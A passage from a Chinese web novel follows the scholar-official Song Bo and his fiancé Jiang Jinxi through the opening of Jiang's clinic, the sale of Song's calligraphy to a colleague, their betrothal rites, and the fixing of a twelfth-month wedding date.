这十日宋泊因为名声在外,不少住在霞县的达官贵族都邀请他去参加宴席,几乎每日一宴,忙得团团转,而江金熙就窝在百安馆跟着吴末取经,去到京城开百安馆可就没有吴末再旁手把手指导,一切都得靠自己。 吴末还叫他注意南北地域差异,北方湿气低,容易得一些干燥病,要与南方病症区分开来。 江金熙得了十日的专家课程受益匪浅,注意手册都写了满满当当一册子,他还把自己写好的医书先拿了本给吴末,得了吴末不少夸赞,直道这书简单易懂,只要有念些书的人都能看懂,一经发售定会销售一空。 江金熙乐呵呵地应了,说借吴师叔吉言。 二日一早,阿朝和阿丁给马喂好草料,简言把自己的东西扛上马车,四人一狗上了马车,返回京城。 带了个狗回程就是乐趣繁多,常乐不喜欢在马车上憋着,只有睡觉时才愿意上马车车厢,其余时候它都跟在马车旁一道儿跑,腱子肉练出了不少,马儿停下吃草,它就大步跑出去,有时它还会嘴里叼一些野生草药回来,跟在学医的人身边太久,它都耳濡目染,知道哪些草药捡回来主人会高兴。 更甚一次常乐甚至叼回来一个人参,那人参瞧来便有几十年,长得可肥,这般人参大多藏得深,也不知道常乐究竟是如何刨的,才能叫它啃一个完整的人参回来。 因着常乐这个习惯,每日看常乐会把什么东西叼回来,也成了车上人的乐趣。 第158章 第一百五十八章卖字。 从霞县往京城走途径银湖州,宋泊特意在银湖州停了一个时辰,找了银湖州的官方房牙,交代了租院子的事儿,之前官府送的那十亩地若能租出去便租,租金不要低于最低租金就行。 今年要花大钱,那十亩地空着也是空着,还不如租出去再收点儿钱回来,银钱揣在兜里揣得多了,花钱才能有底气。 马车驶进京城时是六月十八日,回程时间充裕,阿朝和阿丁便慢着行车,让宋泊他们可以欣赏沿途的风景,简言没来过京城,对周遭的一切都保有新鲜感,一入京城他就扒在车窗边儿兴奋地往外瞧。 “主君,那儿有卖玩具耶!” “郎君郎君,那边摊位上的糕点看着好好吃。” “哇,这栋楼建得好高,风吹过来不会倒吗?” 简言一张嘴嘚不嘚说个不停,宋泊和江金熙也是很有耐心,一句一句接着他的话。 行至宋宅门口,守门的阿军开了门,简言从车上蹦下来,瞧着面前足有五个他高的大门可是气派,只这院子门上头没有挂匾额,让简言有些摸不着头脑,“主君,为什么这个大门上头没有挂匾额?” “匾额送去刻了。”宋泊道,他亲手写了个匾额模板,又把官府送的实木板拿去雕刻,此去一月多,应当雕刻回来了。 宋泊转头问了阿军,阿军说木匠上门来过了,匾额已经刻好,只等宋泊过去运回来。 主君不在家中,阿军他们不敢擅作主张,若是将宋泊定做好的匾额磕着碰了,他们可是万万承担不起这个责任。 进了院里,阿丁把马儿拉去马厩放着,阿军则帮简言搬着行囊往里头走。 在院子里扫地的春杏见着宋泊回来了,忙屈身唤道:“主君、宋夫人、江公子”春杏不认识简言,不知道如何称呼面前这个比她稍高一点点的男孩。 “你唤他简言就是。”宋泊说。 春杏点了头,补上了对简言的称呼。 “房间可扫好了?”宋泊问。 “扫好了。”春杏应声。 简言住在内院,既要当心腹培养,宋泊便分了个房间给他,不必住在耳房。 简言一进院子便四处张望,没想到自己还能独住一间屋子,可把他高兴坏了。 “你与主君最是贴心,往后一些其他人不便行的事,就由你去干。”江金熙与简言说着,声音柔和,如一股清泉流过心头。 闻言简言在两人面前站定,底气十足,“是!我定仔细完成主君交代的活儿!” “汪。”边上常乐跟着也嗷了一声,一条大尾巴晃得起劲。 离上工还有四日,第一日宋泊喊着阿丁与他一道儿去把匾额搬*回来,他现在官位低,还用不了“府”字,故而匾额上只写了简简单单两字,“宋宅”。 做了官,且不说院子内里如何,外头的牌面得给足,匾额往大门上一挂气派非常。 “宋郎君来了。”木工店老板一瞅着宋泊马上迎了上来,木匠们都在后头院子里忙活,前头买卖的事儿便由老板一人张罗。 “我的匾额做得如何了?”宋泊问。 老板领着他到了匾额那儿,官府给的木头好,刻型后抹墨上去一丝渗透也无,洁净质朴,宋泊给的字是何模样,刻出来的匾额就是何模样。 “宋郎君这匾额可是不简单,两字简单却深藏韵味,引得不少客人与我询问呢。”店老板笑道。 店里刻好的匾额都放在外头摆着,不少客人会寻着店里的匾额,问店老板刻个相同的来,宋泊这个匾额自拿出来后,有十几人都问过店老板这匾额的字由谁写的,都想请那位大家帮忙写个匾额,只是店老板护着宋泊的名儿,只说不知是谁写的。 “呀,宋同僚,你也来取匾额吗?”宋泊正与店老板说着话,忽然听着后头传来与他打招呼的声,他转头看去,是谢长与他说话。 今日是天少阁休沐的日子,谢长一身常服,像是出来闲逛的模样。 “谢同僚。”宋泊唤道。 谢长也不觉着尴尬,他带着身后两位侍人,直接走到宋泊面前,问:“这匾额可是你家匾额?” “正是。”宋泊答。 “这匾额上的字是何人写的?你可否介绍与我?”谢长谦虚问着,上回他来的时候一眼相中这匾额上的字,但是店老板一直未告知他是何人动笔,他想着这匾额上写着“宋宅”两字,或许与宋泊有关,便打算等宋泊从南面回来上工后再问,没想到今日出门顺道瞅了眼,看着宋泊在这木工店内,他直接就冲了进来。 “这匾额是我写的。”宋泊直言道。 “你写的?”谢长惊讶,这字没个几十年功力可真写不出来。 “是。”宋泊应道,他也不想自证,反正话他已经说了,信不信全由谢长自己决定。 谢长似乎意识到自己说的话有些不妥,他赶紧补上一句,“宋同僚可真是年少有为,一手好字傍身。” “谢同僚谬赞。”宋泊道。 “那”谢长忽然谄媚起来,“宋同僚能不能帮我也写个匾额?”他跟苍蝇一般搓着手,“我院子的匾额前些时候掉了,刚好想换个新的,可怎么也瞧不着满意的字。”谢长边说边看着宋泊的面色,见他表情如常,他才继续往下道:“现下这不巧了吗?宋同僚的字我甚是喜欢,若今日能得宋同僚书法一幅,我肯定半夜做梦都能笑醒。” 谢长这话说得真诚,倒有些说动了宋泊,他与那些心气高的京城人不同,是真心钦佩他的。 “当然,我也不是白拿,外头写匾额的名家一副百两,我不一样,我给你双倍!”谢长不是恩威并施,他先给一个甜枣而后棍棒未落,等着的是个更大的甜枣,他期待地看着宋泊,“如何?宋同僚考虑考虑?” 宋泊是被谢长开的价打动的,回一趟村里,沿途官府又送来不少贺礼,不过宋泊粗略算了下,院子买完后他身上只剩三百两,用来成亲有些羞涩。他问过曾媒人,京城官家办喜宴,每桌钱约在五两至十五两之间,宋泊不选最便宜也不选最贵,这种一桌十两,三百两只能请上三十桌。更别提其他物什的花销,三百两实在是不够花。 “一幅八十两,可成?”宋泊问,他也不收高,毕竟往后同在官场行事,收个行情价再打个人情折,八十两可是值当。 “不成。”谢长摆头拒绝,“就百两,少了我不要!” 宋泊还是头回见着降价不成自己抬价的买家,经此一回,他越发觉着谢长这人有趣。 两人商量许久,最后还是定的百两一副。 木工店正有笔墨,宋泊将白纸一摊,按着谢长说的字便写了下去。 一开始谢长还担心这店内的笔墨纸砚品阶不高会影响宋泊的发挥,等看到后头他才知他的担心完全是多余的,宋泊一笔落下墨痕连续,各字笔锋流畅,或钝或锋,皆恰到好处,尽显大家风范。 “好了,你看看。”宋泊往边上退了一步,给谢长让位置。 谢长惊得一句话说不出来,他走到字前,正打算抬手抹下,就被宋泊攥着手腕,“这墨得晾会儿,摸不得。” 谢长应该是用惯了好纸,好纸入墨即干,笔一抬起来就能用手摸字,但这店里的纸不同,没等个一炷香时间可碰不得。 经过宋泊提醒,谢长赶紧把手收回来,“好好好,这字可太好了。”谢长连连称赞着,转头与身后的侍人说,“等会干了就叫师傅拿去刻板!” “是,少爷。”两个侍人应下。 谢长在字的四周打转,越看越是喜欢,又求宋泊帮他写几副,他要把他院子里所有挂着的匾额全都换了。 上工一日辛辛苦苦,回到家就是得看到自己喜欢的匾额才行。 宋泊最终还是给谢长打了折,谢长要了五副字,宋泊收了四百五十两,算是打了个九折。 谢长没带这么大笔的银票,他怕宋泊以为他要赊欠,赶紧叫一个侍人回去拿钱,付钱给宋泊的时候他心里头可美了,都能哼起歌来。 谢家也是扎根京城许久的大家,这点儿银钱对谢长来说不算什么,对宋泊来说确是重要。 有了这四百五十两,他手头便宽裕多了。 谢长双眼放光,瞧着宋泊像是个宝儿,“宋同僚,改明儿我有活儿还能找你吗?” 宋泊不敢马上答应,只说到时再说。 了了谢长的事,宋泊让阿丁与他一道儿把自家匾额扛上马车,谢长可有眼力劲,见宋泊自己亲力亲为,他赶忙让自己的侍人过去顶了宋泊的位置,帮他搬匾额。 “多谢谢同僚。”宋泊道。 “谢什么。”谢长与宋泊站于一侧,“宋同僚帮我解了心头一愿,我才要谢谢宋同僚呢。” 趁着侍人们搬东西,谢长与宋泊闲聊着,“听闻你回了趟老家,南边可是好玩儿?与京城有什么区别?”他自小到大都在京城长大,只听别人说着其它处儿都不如京城,却不知是个如何不如法。 他博览群书,各书各世界,那些写别个城市的书也不比京城书差,故而谢长一直好奇着,只想有机会到别的地方亲眼看看瞧瞧,究竟是书中正确还是人说正确。 “可是不同,往后有机会邀你去我们村里玩。”宋泊道,谢长对他友好,他自也对谢长友好。 “那便这么说定了!”谢长说。 第159章 第一百五十九章百安馆开业。 休息的第二日,宋泊一早就去找曾媒人讨论接下来的成亲流程。纳采和问名过了,便到了纳吉这步。 纳吉这步也是定亲,不过与第一步的订婚书不同,这是真的定了亲,两方都不能随意更改,就算一方权势如丞相,也不能说悔婚就悔婚。 “你可与江公子定个日子,让江丞相那边准备准备,纳吉和纳征两步可一同进行。”曾媒人道。 “我回去问问金熙,到时定了日子再来寻你。”宋泊道。 成亲的事情急不得,纳征得在双方家族见证之下写婚书,江家都是大忙人,得约个时间才好继续下面的流程。 早晨问完,下午时间空了出来,宋泊便直接去了趟丞相府找江金熙。青桥领着宋泊进了院儿,六月的天百花盛放,宋泊一走进江金熙的院子,便瞧着满院的绿色。 “这是我新学会的饮品,你快来尝尝。”江金熙等在院子口,宋泊一来他便攥着宋泊的胳膊往里近,大树下的石桌上摆了两碗东西,走得近了宋泊才闻着一阵淡淡的草药香。 “你用草药做的?”宋泊在石凳上坐下。 “是呀,你尝尝。”江金熙坐在宋泊对面,两手托着下巴,眼睛明亮。 宋泊端碗起来尝了一口,冰凉的饮品入喉,先是一个果味的前调,而后薄荷味渐显,竟是一丝草药味都未尝出来。 大多草药都苦口,这饮料尝来只有草药香没有草药味,入了腹那股冰凉感还留着,可是夏季清凉饮品的首选,宋泊没想到江金熙自己在家里还能发明出新的饮品。 “如何?我想着医馆还可以兼卖这些饮品,与草药相搭,健康还好喝。”江金熙道,这两日他在家里闲着,忽然想着可以把草药与饮品相结合,便动手做了好几款,不是太苦就是难喝,失败多次这才做出这款成功的饮品。 “医馆的地儿你可寻着了?”宋泊问。 先前那个看好的商铺出了差错,江金熙只能重新再寻商铺。 “又看了几家,明儿你陪我一道去看看可成?”江金熙问。 宋泊还有两日的假期,陪江金熙逛个商铺绰绰有余,他应声:“好。” 定下明日逛商铺的事儿,宋泊才把正事提出来说,“这月我想纳吉和纳征,需要你们江家家族的人在,你看看江丞相和江夫人什么时候有空?” 宋茶栽住在宋宅,随时都可以出来参加纳吉和纳征,时间上便不用考虑他,迎合江家这边的时间就行。 “那我得问问。”江金熙应道。 江丞相的事情很多,江金熙也不知道自家爹爹和娘亲什么时候有空,还得去问上一问才行。 翌日,宋泊陪着江金熙逛了几个商铺,最终两人选定一个在东区的商铺,占地三亩、楼高三层、没有后院、租金八两的商铺。 百安馆的匾额由宋泊写,又送到先前做“宋宅”匾额的那家木工店,熟悉的店铺总有安全感,那木工店做个匾额也不贵,宋泊就乐意去那儿。 六月二十二日,天大晴,宋泊结束一个半月的休假,回天少阁上工。 刚回着明净轩,宋泊便发现自己桌上垒了一层书简,他过去一本一本翻来,都是跟工作有关的书简。 “宋同僚,我与你说,这些都是你休假时少卿拿来的文书,你处理了再交还给少卿就行。”谢长从自己位子上跑了过来,热心肠与宋泊解释这些书简的来历,“你若是有什么不会的,只管问我就是。” “郎君问少郎君如何工作,这说出去不是倒反天罡。”沈端墨坐在位置上忽然来上这么一句,搞得谢长有些尴尬,他觉着经过木工店那回自己和宋泊的关系应该好了不少,“宋同僚我不是那个意思,只是你放假那一个月多,少卿教了我们不少。” “我懂的,多谢谢同僚好意。”宋泊道。 沈端墨此人妒天妒地,宋泊便打算减少与他的接触,自己靠过去与他说话没准还会被人说热脸贴冷屁股,何必做此无用功。 “嘿嘿,不是什么大事。”谢长挠着脑袋不好意思地退回位上。 郎君的活也不是什么大活,无非就是一些文书分类,再把内容简略抄录就是,宋泊就在格式问题上问过谢长,而后靠着自己发挥,也做了一半。 当日下工,江金熙自己在商铺里忙着装修、布局的事儿腾不出空来,便派青桥来宋宅送了话,说是七月一日那日江丞相和江夫人都会在府上,谈成亲的事儿可以在那日来。 江丞相和宋泊的休沐日子相同,也省了宋泊请假的事情,刚请假回来又请假,可能会给天少卿和天少少卿留下个不好的印象,有碍以后升迁。 宋泊回了宅子,许婆婆正张罗着晚饭,自有了许婆婆,宋茶栽便可以从做饭一事中解放出来,如今这么晚了却没在家中,应该是给江金熙当帮手去了。 宋泊唤了两声简言,许婆婆从厨房里喊话出来,“简言与宋夫人都被江公子叫去帮忙了。” “好。”宋泊在院子外应了声。刚刚他回来时简言和常乐没有第一时间跑出来相迎,他就觉着他俩也不在家中。 简言跟在吴末身边一年多,医馆的事儿他虽了解得不透彻,但多少也听了、看了不少,一些小事情上没准还能给些建议,便也被江金熙唤去帮忙。 许婆婆隔着厨房窗户问着宋泊,“宋主君,现在能把晚饭呈上吗?” “呈吧。”宋泊说。 吃完晚饭,宋泊把官服换下,换了身方便行动的衣裳出了宋宅,打算去百安馆瞧瞧,阿丁瞧见他还要拉马儿来,让他给拒了,说饭后消消食,散步去就成。 夜里的京城可是繁华,周边店铺点着灯笼,小摊贩也支了个灯架子,一时间亮堂得像是白日。自夜市放开以后,夜中市集比白日市集更有趣,街上百姓许多,宋泊还得小心着不撞着人。 宋泊沿街买了些小食拎在手中,走到了百安馆。 大老远的,宋泊便看见江金熙站在医馆外头指挥着工人往里搬家具,现在江金熙贷的这个铺子之前是做衣服生意的,有些桌椅板凳还留在铺子中,省了一笔小钱。 宋泊走近医馆,出声唤道:“金熙。” “宋泊,你怎么在这个时候来了!”江金熙与工人交代完,几下从台阶上走下来,跑到宋泊面前,“上工一日那么辛苦,怎么不在家里好好休息。” “大姑和简言都来帮忙,我这个做未婚夫君的,当然也要过来看看才是。”宋泊将手里拎着的东西提起来,阵阵食物香气飘入江金熙的鼻子里,“快瞧,我买了烤串和糕点。” “你怎么知道我还没吃东西。”江金熙高兴道。 一忙碌起来,江金熙便忘了吃饭,现下被这个味儿勾着,他才觉着自己肚子饿。 宋泊牵着江金熙进了店儿,工人搬东西,宋泊便招呼江金熙他们到干净的一处吃些小食。 烤串味道馋狗,常乐闻着这味儿都走不动道,只乖乖坐在四人身边,用期待的眼神看过每一个人。 简言横着将烤串一嘟噜,串上的肉全都进入他的口中,他越嚼越香,吞下烤串后他直夸道:“主君,你买的这个烤串也太好吃了!” “喜欢吃等会儿我再去给你们买些。”宋泊说。 “那就不要了。”宋茶栽出声拒绝,“等会儿回去还要吃晚饭,光吃这些串有什么用。”她不着痕迹地瞥了宋泊一眼,继续说:“简言还小,这些不干净的东西少买点。” 原来不管哪个时代,烤串都会被长辈看作是垃圾食品。 宋泊随意应了两声,这事儿就算过了。 江金熙吃完小食,便起身给宋泊介绍他医馆的布局,一楼用来登记、放药,前几日做成的饮品和已经印刷出来的医书都放在一楼售卖;二楼是看诊和吃饭的地儿,人非机器总有疲倦的时候,因着这个商铺没有后院,江金熙便在二楼规划了个休息室,可以用来吃饭、休息;三楼便是江金熙心心念念的手术区,为了这个手术区,他专门问了吴末,力求打造得和宋师傅的愈馆一样,除了手术区还有几个短暂住馆区,就是为了让那些做了手术或者身体实在熬不住的人可以在医馆内短暂休息。 宋泊一趟看下来没觉着有什么不妥,以他外人的眼光瞧来,这个医馆的陈设布局已经十分严密谨慎。 听宋泊这么说,江金熙可是高兴,这些都是他自己想出来的结果,且不说实效如何,装修出来就有人夸奖,这就足以令人高兴了。 “聘人的事儿你有在做了吗?”宋泊问。 宋茶栽是个外援,等宋泊成亲的事儿结束便要回村,简言又是宋泊准备培养的心腹,工作中心自会往宋宅那边偏移,也不能当做是个全职工。偌大个医馆只靠江金熙一人定是支撑不起来的,还得招聘一些人进来做工才是实在。 “当然。”江金熙可是骄傲,他胸脯一挺,说:“昨儿个已经有两三个人来应聘了,既有医师也有会计,我瞧着人还行,便招了。” “如此可是开门大吉,还未开业就有得力助手相助,百安馆可不红红火火?”宋泊顺着江金熙的话往下说道。 江金熙满面自信,“是,到时你有何同僚有个小病小痛,尽管介绍过来就是。” “得令!谨遵江大夫的嘱托,我定会仔细瞧着每个同僚,他们一有生病的征兆我便带来医馆。”宋泊笑道。 江金熙听了这话,抬手给了宋泊一下,得了他一声哀嚎。 第160章 第一百六十章纳吉,纳征 七月一日,烈阳当空,微风缓缓吹拂而过,是个好天气。 宋泊和宋茶栽一早便换了正式的装束,宋茶栽还抹了些脂粉,为的就是给宋泊撑撑场面。听闻今日江家人来了很多,宋家这边只有她一人,她当然要装扮得好看一些,做宋泊的后盾。 辰时中,曾媒人准时抵达宋宅,在还未出发前她与两人又说了遍注意事项,随后才领队出发。这回宋泊请了几辆马车运贺礼,浩浩荡荡一队人自宋宅出发,行至丞相府停下,倍儿有牌面。因着江金熙已经打过招呼了,故而丞相府大门展开,有领路的侍人等在门口,在宋泊他们一到时便领着往里头进。 虽说宋泊已经来过丞相府多回,知道去往正厅的路如何走,但这时他得按流程来,随在侍人后头,慢慢前进。 从院子大门去正厅的路不长,可宋泊就是觉着自己腿上灌了铅,一步一步走来都有些紧张。 纳吉和纳征是成亲流程中重要的一环,与上回纳采不同,这次江家来了不少长辈,一排数十人坐在正厅之中,可给宋泊吓了一跳。 江金熙说过他家族人很多,但宋泊一直没见过除江丞相和江夫人以外的江家人便不以为然,没想着今日江家族人居然来了这么多,他仔细数来可有十几人,有些还是在官场上见过的熟面孔。 正厅里一屋子的长辈却看不见江金熙,宋泊猜想江家应当是用避嫌的理由让金熙回避了。 “这回怎么那么多人。”宋茶栽小声问了宋泊一句,宋泊轻摇一下头,表明他也不知道。 “今宋家上门,求娶贵府江哥儿,特携贺礼数件,望与贵府喜结连理。”曾媒人往前一步,抬声高喊,再多的亲戚人家她都见过,不过十来人坐于对面而已,不足以引她犯怵。 边上来了个侍人,将曾媒人手中的礼册拿了过去,双手交与江丞相。 先前已经纳采和问名过,这纳吉和纳征只是走个流程。 只是礼册送到江丞相手中以后,江家人都凑过去看了看,多人一块儿开口嘴里嘚不嘚的不知道说些什么,让站于厅中的宋泊有些紧张。 流程都到了这步,应当不会出些什么岔子吧。 “大哥,这人长来俊俏,又是新晋状元和大/三元,我觉着这亲事可以。” “可以什么,这礼册上的东西这么少,也想娶我们金熙?” “我听闻这人是农户出身,农户出身能拿出这么多东西已然可以了。” “农户出身?门不当户不对的,咱们金熙怎么能下嫁呢?” “还这么多七啊八啊的东西,这么多医书和草药是要作甚?当江府是草药铺子?” 家里人多便是这个事儿烦人,一人一张嘴七嘴八舌地在江丞相耳边说道,扰得他一个头两个大。 江丞相将其他人的意见都屏蔽了去,只侧身问江夫人,“夫人,你瞧如何?” “挺好,就应了吧。”江夫人道,别儿个或许不知道,但金熙是她的孩子,她自然清楚金熙喜欢什么。金熙最近全身心投入与百安馆建设当中,送医书和草药可是正中他的下怀,这般了解金熙的人,才是合适金熙的人。 “行了,都安静。”江丞相抬嘴说了一声,边上的长辈全都安静下来,缓缓坐回自己位子上。 何媒人很有眼力劲,见江丞相退了其他人,应是商量好了,她快步行至江丞相旁,江丞相与她说了几句,何媒人便两手放于腹前走到宋泊左前方。 “今恒和八十九年七月一日,江家与宋家交换礼册,写下定书,贺江金熙与宋泊为未婚夫夫。” 何媒人先宣了声,而后让人送定书专用的纸简来,在江家长辈及宋茶栽的见证下,两份定书一份属江家,一份属宋家,如此便是完成了纳吉和纳征。 纳吉和纳征一帆风顺,让宋泊悬着的心终于落至原位,等江丞相将贺礼收去,再返礼后,宋泊与江家长辈行了一礼,便退出了正厅。 一个早晨就将事情解决了,可谓是效率非常。 宋泊和宋茶栽正领着自家车队准备走出丞相府时,便有个侍人装扮的人拦住他们,待那人拿着扫把抬起头来,宋泊惊了,“金熙,你怎么穿成这样。” 宋茶栽也是两眼睁圆,没想着一个贵族哥儿居然能屈尊穿着侍人的衣服。 “爹爹要我避嫌,但是我实在好奇,便只能想出这种下策来。”江金熙委屈道,明明都还没到成亲那步,有什么好避嫌了。 “那你想知道什么,我与你说。”宋泊知道江金熙这般穿着是为了掩人耳目,便叫车队的人拥挤一些,把江金熙的身形遮去。 “纳吉和纳征可成了?”江金熙问着,心跳快速,虽然瞧着宋泊后头已经有了回礼,但他还是想从宋泊口中听着确切消息。 宋泊俯身,视线与江金熙相平,在江金熙越来越紧张的眼神之中,他缓慢开口,“成了。”为了让江金熙更高兴些,他还唤宋茶栽把定书拿出来,在江金熙眼前晃了两下,“你瞧,定书都在手里了。” 江金熙两臂一展,抱住宋泊,可是高兴,“太好了!” 先前他在院子里待着是站不得坐不得,一颗心像被架在火上烤,可是焦虑,后头还是青桥看不过眼,提了句要不要扮成侍人去府门口等人,江金熙这才这身装束站在这里。 “嗯,太好了。”宋泊一手环着江金熙的腰,一手紧抓定书。 开心劲过去,江金熙道:“那我要快些回去,等会儿爹爹肯定会到院子里找我。” “小心些回去,别摔着。”宋泊道。 “嗯!我知道的。”江金熙应了声,提着扫把往他院子跑去了。 瞧着江金熙的背影,宋泊也是觉着有趣,他这个爱人鬼灵精怪,沉稳的时候很冷静,调皮的时候又能做出些令人大跌眼镜的举动来,属实是个人间至宝,可爱得紧。 隔日,夏烟跑到江金熙的百安馆寻他,先前她去了趟丞相府,得知江金熙在百安馆忙碌,她便让马车把她送到店儿来。 江金熙果然在百安馆里忙着,现下这个医馆已经有了个雏形,夏烟走进去时还以为已经开业了。 “你怎么来啦?”江金熙正搬着草药,路过店门时瞧着门口站着个姑娘好奇地四处张望,定睛一看,原来是夏烟。 “我听你定亲了,赶忙过来打探消息呐。”夏烟一拉裙子跨过店门门槛,小跑着跑到江金熙面前,接过他手中一半的草药抱在怀中,“可算是定亲了,什么时候成亲呐?” 前日宋泊带着贺礼去江府的事儿已经传开了,现在京城官家几乎都知道宋泊与江金熙定亲的事儿,夏烟也是听着爹爹提起这事,说着要准备江公子的贺礼,夏烟细问来,才知晓宋泊与江金熙定了亲。 江金熙的面儿漫起浅浅红色,他道:“成亲的时间还没定呢,应该是年底。” “真好,我们金熙要嫁啦。”夏烟可是高兴,江金熙一直没说过自己喜欢谁,现下找着自己喜欢的人可是不易。 “贺礼可备好了?”江金熙带着夏烟一道往药柜走,然后将草药分列在各个格子中。 “当然,我可准备着呢。”夏烟说着,把草药按着江金熙说的顺序放入药柜中。两手空空之时她看了眼周围,四周没人,她从衣襟里掏了本小人书出来猛地塞入江金熙手中。 江金熙两手拿着小人书疑惑道:“这是什么?” 夏烟做贼心虚,让江金熙赶紧把小人书收好。 “这贺礼准备得还偷偷摸摸的。”江金熙瞄了眼小人书的封面,这小人书书名叫什么《霸道公子爱上我》瞧着就不像什么正经书。 “这不是贺礼啦!”夏烟紧急为自己辩解,哪有自家好友结婚贺礼送个小人书的,说出去不让人笑死。 “那这是什么?”江金熙问。 “就是一本小人书啦!”夏烟看着有人往楼上下来,着急忙慌要江金熙把小人书收起来。 见着夏烟这个模样,江金熙多少猜着这书是什么书,他听着夏烟的话把小人书收好后,小声与她道:“你送的不会是春/宫/图吧?”送礼给将要成亲的人却如小偷一般,江金熙总觉着自己这个猜测甚是合理。 夏烟蹭的一下小脸爆红,“怎么可能。”她对了一下手指,声音如蚊子,“只是、只是略有描写。” “我这不是怕你那什么的时候不会嘛”夏烟道。 江金熙听着这话笑了,他是学医的,怎么可能不知道那什么的时候要怎么做,而且这种小人书里对那事的描写多有夸大,用小人书学习那事是不实际的,不过夏烟一番好意,他还是把小人书收下了,“谢谢。” “谢、谢什么。”夏烟靠在江金熙身上,道:“我们可是好朋友。” “多谢我的好朋友。”江金熙往夏烟这儿一靠,两人相笑。 160-170 第161章 第一百六十一章请期 纳吉和纳征结束,接下来便是请期。 请期可是重要,将成婚日子定下来好请假也好写请帖宴请众人,只是江丞相一整个七月都很忙碌,不过他还是特意抽了时间出来与宋家一道去了慈鸣寺。 请期和问名一样,都需要官方寺庙的方丈算来才是。 七月七日,江家带着何媒人,宋家带着曾媒人,两户人老早赶到慈鸣寺,这回待在慈鸣寺内的方丈依旧是明达方丈,有前头问名的事儿在,明达方丈对宋泊和江金熙的名儿可是熟悉。 明达方丈看着两人的生辰八字,说:“往后吉日很多,但我建议两位香客选在腊月成亲。” “可是有什么区别?”宋泊问。年底官家事儿很多,大伙儿忙不开是一回事,再来北方腊月可是寒冷,他怕江金熙为了漂亮穿着薄薄一套婚服会被冻着。 “打个比方,十月和十一月也有好日子,但你们在那两月结婚是九十分,腊月结婚便是一百分。”明达方丈耐心地解释道:“都是好日子,但是好日子之间亦有区别。” “腊月的吉日是何日?”江丞相问。 “腊月十一。”明达方丈道:“具体的吉时得进了腊月才算得。” 成亲当然要选最好的日子,开了个好头婚姻才能和和美美。 宋茶栽与江丞相讨论商量一番,还是决定两位小辈的婚宴日期选在腊月,累是累些,可为了吉利,累点又何妨。 “好,那便定在腊月十一。”江丞相拍板定下日期。 明达方丈瞧着一行人远去的背影欣慰地点了点头,这两位香客天造地设,往后只会和和美美,幸福欢乐。 定下日期,后头还有一串的事儿等着宋泊处理,首先就是迎亲队,得麻烦曾媒人找人。 京城内专门迎亲的队列就那么几列,到了成婚大月还得用抢的,宋泊也是运气好,腊月还有一列迎亲队因着含舞狮价格贵了没被定下,正好被他捡着漏,这列迎亲队十二两,含了舞狮还算不亏。 迎亲队定下后还得定吃宴的地方,初步定着是他们的宋宅院中,只是院子地小,占了外头街道地儿还不成,还得办流水席,如此才能请下所有亲朋好友。 不过这些都是初定,宋家这面请的人不多,最多占下两桌,大头还是官家同僚及江家那面的亲戚。 具体请多少桌还要与江金熙一块儿商量。 七月八日宋泊下了工,直接让阿丁载着他去百安馆,之后还有很多事儿,不能总等着休沐时才做。 宋泊到的时候不巧,江金熙正在诊室里给客人看病,不能出来与他说话,宋茶栽应该也是忙着,一楼都瞧不着她的身影。 倒是简言这个暂时帮忙的人闲着,瞧着宋泊来了便迎了*上来,“主君!” “最近医馆如此忙碌?”宋泊问,单是他能瞧着的地,就还有两、三个病人等着。 “是呀。”简言说:“自郎君的医馆开门以来,每日都有好多病人上门,郎君可是忙了。” 简言不知这现象是为何,宋泊倒多少能猜着一些。江金熙的百安馆开在东区,东区是百姓们居住之地,这儿医馆少又收费高,江金熙这个医馆一落下来,便以恰到好处的医疗价格笼络了百姓们的心,这儿的大夫医术高超又不乱收费,自都爱到这里来看病,这人传人,客人便一日比一日多。 宋泊本来是与江金熙谈事儿的,却莫名做起了跑腿的活儿,帮江金熙送药到三楼,在去厨房中熬药。 等到医馆关门,天色完全黑了下来,宋泊坐在医馆椅子上,觉着累得够呛。 这医馆里的活儿真不是人做的。 “可是累极了?”江金熙端着一楼卖的饮料走到宋泊身边坐下。 宋泊将饮料一饮而尽,问:“你每日这么高强度工作,不累吗?” 江金熙想了想,应道:“想着病人看了病就能好起来,好像也没有那么累。” 听江金熙这么说,宋泊可是由衷佩服他,原来他家金熙还是个隐藏的强人。 两人缓了一缓,才聊起请桌的事儿。 江金熙已经问过江丞相,故而请多少桌他心里有些数,他们家族人多再加上一些官场上的同僚,占个四十桌差不多。 江金熙那面儿占四十,他再请个二十,合计六十桌差不多,为了防止有多的宾客来,宋泊还腾了五桌作为备用,一桌八人十两,拢共六百五十两的预算。 定下宴请人数,宋泊接下来的活儿也早做,他伸了个懒腰扭动扭动身子,身上骨头发出咖啦咖啦的声音,“我先写个帖子你瞧瞧,若是可以我便按这个模子批量生产。” 听着宋泊这么说,江金熙心疼道:“你先回去歇息吧,明日在做请帖的事儿。” 宋泊觉着他累,他还觉着宋泊累呢,他好歹是日头升了才开店,而宋泊每日天未亮就得去皇城上朝,做完天少阁的事儿还得忙他们成亲的事儿,相当于一睁眼就开始工作,等着夜了入睡才能休息。 “无妨,也不差这么会儿。”宋泊喊阿丁帮他把马车上的空请帖拿下来,他直接用医馆内的笔墨砚,在请贴上写下邀请参宴的字。 先前曾媒人给过他别人喜帖的模板,他记于心中,知晓哪些重要内容的字要大些,与众不同。 半炷香时间过去,宋泊将笔往笔架上一放,新鲜的喜帖出炉。 宋茶栽刚忙完她手头上的事儿,听着宋泊在医馆内写喜帖,她赶紧从楼上下来,“可写完了?” “写完了,你来瞧瞧。”宋泊道。 红色喜帖上黑色的字可是醒目,为了让所有人都能看懂字,宋泊收敛了些书法技巧,字写得方圆,一字一字之间也没有连笔,每个字都清晰可见。 江金熙瞧完宋泊的喜帖,夸道:“写得真好。” “是呐,确实写得好。”宋茶栽也跟着夸赞,“只是所有请帖你都要自己动笔吗?” 六十五桌的请帖大概也有一百五十来张,这可是个不小的工作量。 江金熙提议,“只写亲戚的吧?不然要写太多了。” “无妨,离腊月还有四个月,每日写个两张绰绰有余。”宋泊道,一辈子只有一次的喜宴,他不想敷衍了事。再说他这手好字体现在喜帖上,也是给江家长面儿。 宋泊决定的事情谁也说不动,江金熙从位置上起来给宋泊捏肩,“喜帖的事儿我帮不上忙,我就给你捏捏肩好了。” “好哇,有你捏肩,我每日能写上五张请帖!”宋泊笑道。 大事都定了下来,宋泊的生活渐入平稳,他每日按部就班上朝、工作,下了工就去百安馆坐着写请帖,有来店里看病的客人都知这家医馆好事将近,拿药走的时候都会与宋泊说几句贺言,说得多了,宋泊干脆买了一罐子糖放在医馆里,有人与他祝贺他便拿些喜糖给人家,那些喜糖都能久放,等病人病好了或者拿回去给家里小孩吃都行。 